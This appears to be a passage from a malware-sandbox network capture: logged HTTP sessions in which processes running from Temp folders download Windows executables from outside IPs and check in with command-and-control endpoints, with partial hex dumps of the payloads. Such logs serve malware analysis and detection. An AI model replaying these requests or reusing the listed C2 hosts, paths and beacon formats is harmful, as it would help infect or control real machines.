Dec 9, 2024 20:29:15.833947897 CET	1236	IN	Data Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e Data Ascii: }(m{:}(m{:}(m{:}(m{{:}(m{:}(m{:}(m{:}(m{2{o^{{oo:}(m:
Dec 9, 2024 20:29:15.834342957 CET	1236	IN	Data Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03 Data Ascii: {+oo2{+oz,{,{o/(z*6(&(R(&o(z,{-,{-o/(2s}-}6{=ob-{=o\rTp(;&z,{<,{<o/(z:{0ot*:{/ot
Dec 9, 2024 20:29:15.834352970 CET	1236	IN	Data Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 Data Ascii: (9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&>:}d(Co(D}d(F(E(&";><}n{u"}u{v"}v{w"
Dec 9, 2024 20:29:15.834362984 CET	1236	IN	Data Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22 Data Ascii: ,{o#o{o(,{o)o,**u{"}{J{{(F(uNoKJ(uNoLF(uNoMJ(uNoN{"}{"}{"}
Dec 9, 2024 20:29:15.953304052 CET	1236	IN	Data Raw: 0a 7d fa 01 00 04 2a 2e 73 6f 02 00 0a 80 fc 01 00 04 2a 1e 02 28 70 02 00 0a 2a 76 04 d0 65 00 00 01 28 7b 00 00 0a 28 07 01 00 0a 2c 02 17 2a 02 03 04 28 71 02 00 0a 2a 36 02 28 72 00 00 0a 02 28 8e 04 00 06 2a 32 73 8f 04 00 06 28 7a 02 00 0a Data Ascii: }.so(pve({(,(q6(r(2s(z&z,{5,{5o/(z~}8s}9(5((}2r p(;&2r p(;&J{9to2{9oz,{:,{:o/(T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49995	80.82.65.70	80	6964	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:16.973942041 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:18.560453892 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:18 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-
Dec 9, 2024 20:29:18.560514927 CET	1236	IN	Data Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04 Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r/p%(%r3
Dec 9, 2024 20:29:18.560528040 CET	1236	IN	Data Raw: 7b 17 00 00 04 19 6f 48 00 00 0a 02 7b 17 00 00 04 16 6f 49 00 00 0a 02 7b 17 00 00 04 72 1d 02 00 70 6f 4a 00 00 0a 02 7b 17 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 17 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 17 00 00 04 72 35 02 00 70 Data Ascii: {oH{oI{rpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rKpoRtPoS{oT{oU{oV{oW{oX{oY{#oZ{o
Dec 9, 2024 20:29:18.560815096 CET	1236	IN	Data Raw: 45 00 00 0a 02 7b 08 00 00 04 72 39 03 00 70 6f 21 00 00 0a 02 7b 09 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 09 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 09 00 00 04 19 6f 48 00 00 0a 02 7b 09 00 00 04 16 6f 49 00 00 0a 02 7b 09 00 00 04 Data Ascii: E{r9po!{(FoG{(<o9{oH{oI{rqpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rypoRtPoS{oT{oU{oV{oW
Dec 9, 2024 20:29:18.560827017 CET	896	IN	Data Raw: 7b 0b 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 0b 00 00 04 72 47 04 00 70 6f 42 00 00 0a 02 7b 0b 00 00 04 20 2c 05 00 00 20 81 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0b 00 00 04 1e 6f 45 00 00 0a 02 7b 0b 00 00 04 02 fe 06 Data Ascii: {s@oA{rGpoB{ , sCoD{oE{skol{oi{rUp"@AsOoP{Es>o?{s@oA{rwpoB{ #sCoD{oE{rpo!
Dec 9, 2024 20:29:18.560839891 CET	1236	IN	Data Raw: 11 00 00 04 72 6d 05 00 70 6f 42 00 00 0a 02 7b 11 00 00 04 20 96 00 00 00 1f 2a 73 43 00 00 0a 6f 44 00 00 0a 02 7b 11 00 00 04 1f 0b 6f 45 00 00 0a 02 7b 11 00 00 04 72 93 05 00 70 6f 21 00 00 0a 02 7b 11 00 00 04 02 fe 06 17 00 00 06 73 67 00 Data Ascii: rmpoB{ sCoD{oE{rpo!{sgoh{oi{r5p"dAsOoP{zs>o?{s@oA{rpoB{ sCoD{oE{rpo!{
Dec 9, 2024 20:29:18.560852051 CET	1236	IN	Data Raw: 72 35 02 00 70 22 00 00 7c 41 16 19 16 73 4f 00 00 0a 6f 50 00 00 0a 02 7b 15 00 00 04 28 46 00 00 0a 6f 3d 00 00 0a 02 7b 15 00 00 04 17 6f 85 00 00 0a 02 7b 15 00 00 04 1f 14 6f 86 00 00 0a 02 7b 15 00 00 04 28 3c 00 00 0a 6f 87 00 00 0a 02 7b Data Ascii: r5p"\|AsOoP{(Fo={o{o{(<o{(Fo{(Fo{ ?s>o?{s@oA{rpoB{ jmsCoD{oE{ o{sg
Dec 9, 2024 20:29:18.560873032 CET	1236	IN	Data Raw: 7b 1d 00 00 04 6f 3a 00 00 0a 02 7b 20 00 00 04 6f 3b 00 00 0a 02 7b 1d 00 00 04 28 3c 00 00 0a 6f 3d 00 00 0a 02 7b 1d 00 00 04 1f f8 1f f5 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 1d 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 1d 00 00 Data Ascii: {o:{ o;{(<o={s>o?{s@oA{rGpoB{ sCoD{oE{)skol{oi{rUp"@AsOoP{Ss>o?{s@oA{rw
Dec 9, 2024 20:29:18.561296940 CET	1236	IN	Data Raw: 04 17 6f 59 00 00 0a 02 7b 27 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 27 00 00 04 17 6f 5b 00 00 0a 02 7b 27 00 00 04 23 00 00 00 00 00 80 56 40 6f 5c 00 00 0a 02 7b 27 00 00 04 16 6f 5d 00 00 0a 02 7b 27 00 00 04 1f 09 20 f5 00 Data Ascii: oY{'#oZ{'o[{'#V@o\{'o]{' s>o?{'s@oA{'rpoB{'(<o^{'(_o`{'(aob{'oc{' AUsCoD{'oE{'rpo!{
Dec 9, 2024 20:29:18.561314106 CET	896	IN	Data Raw: 00 04 14 6f 56 00 00 0a 02 7b 25 00 00 04 16 6f 57 00 00 0a 02 7b 25 00 00 04 16 6f 58 00 00 0a 02 7b 25 00 00 04 17 6f 59 00 00 0a 02 7b 25 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 25 00 00 04 17 6f 5b 00 00 0a 02 7b 25 00 00 04 Data Ascii: oV{%oW{%oX{%oY{%#oZ{%o[{%#V@o\{%o]{% s>o?{%s@oA{%rpoB{%(_o^{%(_o`{%(aob{%oc{% AUsC
Dec 9, 2024 20:29:18.680737019 CET	1236	IN	Data Raw: 02 7b 26 00 00 04 02 fe 06 25 00 00 06 73 67 00 00 0a 6f 68 00 00 0a 02 7b 28 00 00 04 6f 3a 00 00 0a 02 7b 2b 00 00 04 6f 3b 00 00 0a 02 7b 28 00 00 04 6f 3a 00 00 0a 02 7b 2a 00 00 04 6f 3b 00 00 0a 02 7b 28 00 00 04 6f 3a 00 00 0a 02 7b 29 00 Data Ascii: {&%sgoh{(o:{+o;{(o:{*o;{(o:{)o;{( L s>o?{(s@oA{(rgpoB{( jsCoD{(oE{+ \|s>o?{+s@oA{+ro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49996	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:16.989401102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:18.320004940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50004	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:19.979590893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:21.329977989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50010	185.215.113.16	80	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:21.021713972 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 9, 2024 20:29:22.390176058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:21 GMT Content-Type: application/octet-stream Content-Length: 2771456 Last-Modified: Mon, 09 Dec 2024 19:01:00 GMT Connection: keep-alive ETag: "67573e6c-2a4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 13 29 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +)+`Ui` @ @.rsrc`2@.idata 8@clroiqwq):@jwelxfrk $@.taggant@"(*@
Dec 9, 2024 20:29:22.390197992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390212059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390276909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390290022 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390309095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390563965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:29:22.390577078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: W)wgdRT^jJ5H0>+<]d{BhdNLf1G
Dec 9, 2024 20:29:22.390595913 CET	1236	IN	Data Raw: 0d c0 d7 c3 4f 4a 1e f5 96 ea 9c 06 4f 16 91 5b 0b 08 11 0a cc 60 65 00 05 f6 fa 82 78 f6 10 2d 4e a1 8d 03 20 7f aa df 48 f9 dc 1c 02 65 92 0c 00 0d 06 1e 44 67 ac 2b 62 f8 59 06 bb d8 ad ff e3 64 9b 27 95 18 cd 0f 64 ed 6f 18 21 97 31 30 22 20 Data Ascii: OJO[`ex-N HeDg+bYd'do!10" \T8RP{Zj,knhL5hEv"XJ^JgD;Ud~:V&U$"}7N9UMN']\J*Q=:LYJ\JeFj\|?"RJQz
Dec 9, 2024 20:29:22.390865088 CET	1236	IN	Data Raw: be 5a 4e 22 b9 47 94 39 8b 77 e2 5f a9 6d d9 6c b3 5d 00 84 56 35 67 32 17 53 9f 5e b7 4e 8e 63 a4 fa bc 41 a5 00 18 7d 80 a5 fd 74 a1 d7 dd f3 b5 5e fc b6 dc a7 95 a9 c0 ee d8 18 86 fe e0 c1 07 36 01 b2 b4 8d f1 5f 76 07 f7 f6 d6 a0 ff 61 52 7f Data Ascii: ZN"G9w_ml]V5g2S^NcA}t^6_vaROuxK}3eC:W4x$WP\L{GNYL?h\d.{dxWptQ8ifQ]u}>a(h5jI$JApQLcP\|hx
Dec 9, 2024 20:29:22.512022972 CET	1236	IN	Data Raw: 31 53 6a de 86 25 d1 52 bc c3 94 ce 8c 8c 19 90 cd 03 ab 10 64 46 b9 e7 ed 08 2d 08 19 45 99 4e 67 35 d5 c5 09 54 be 1b b2 b2 11 40 01 60 b0 d9 64 34 a3 69 96 63 94 4f 68 29 5d 48 89 37 3d 1a 70 9a 67 a0 58 ea a6 53 10 65 1d 1a 05 64 01 d8 57 43 Data Ascii: 1Sj%RdF-ENg5T@`d4icOh)]H7=pgXSedWC&&FsNeY]<]dV8.GkJ,>~UlA+/ShOB2C?^("GRJzFt?Tl_HJx9'\~}kQY%iVz1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50019	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:23.145858049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:24.479451895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50021	34.107.221.82	80	7188	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:23.274693012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:24.364646912 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8749 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:24.911714077 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:25.226489067 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8750 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:35.410753012 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50032	34.107.221.82	80	7188	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:25.207202911 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:26.296207905 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57300 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:36.457305908 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50033	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:25.620214939 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:26.962704897 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:29:26.966274023 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 41 43 33 34 33 33 34 31 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="hwid"49AC343341E01671227304------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="build"stok------HIEBAKEHDHCAKEBFBKEG--
Dec 9, 2024 20:29:27.412889957 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50034	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
